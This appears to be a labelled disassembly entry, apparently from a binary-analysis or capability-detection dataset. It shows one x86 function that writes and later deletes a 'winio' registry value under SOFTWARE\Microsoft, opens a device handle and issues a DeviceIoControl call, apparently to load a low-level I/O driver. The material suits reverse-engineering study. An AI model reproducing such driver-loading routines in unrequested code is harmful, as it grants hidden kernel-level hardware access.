Function at 0x453380
Capabilities:
Delete file
Delete registry key
Set registry value

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
call fcn.004532a0
test al, al
mov byte [0x4e1314], al
je 0x45359f
call fcn.004532d0
call fcn.00453240
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tlgpp
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov eax, ecx
mov esi, edi
mov edi, 0x4e1420
mov byte [esp + 0x1c], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x21], ecx
mov dword [esp + 0x25], ecx
mov dword [esp + 0x29], ecx
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x45342b
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x1c], dl
inc esi
cmp esi, edi
jb 0x453415
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4e1420
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4534b8
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4e1420
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 0xffffffff
mov dword [0x4df0e8], eax
jne 0x453547
xor edi, edi
push 1
push 0x4e1318
call fcn.004536d0
mov bl, al
test bl, bl
je 0x45352d
call fcn.004537b0
mov bl, al
test bl, bl
je 0x45352d
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4e1420
call esi
test eax, eax
mov dword [0x4df0e8], eax
je 0x45352d
cmp eax, 0xffffffff
jne 0x453533
inc edi
cmp edi, 4
jl 0x4534e9
push 0x4e1318
call ebp
test bl, bl
je 0x45359f
cmp dword [0x4df0e8], 0xffffffff
je 0x45359f
push 0x4e1318
call ebp
mov ecx, dword [0x4df0e8]
lea eax, [esp + 0x18]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x8001200c
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x45359f
mov edx, dword [esp + 0x10]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov byte [0x4e141c], 1
mov al, 1
pop ebx
add esp, 0x20
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret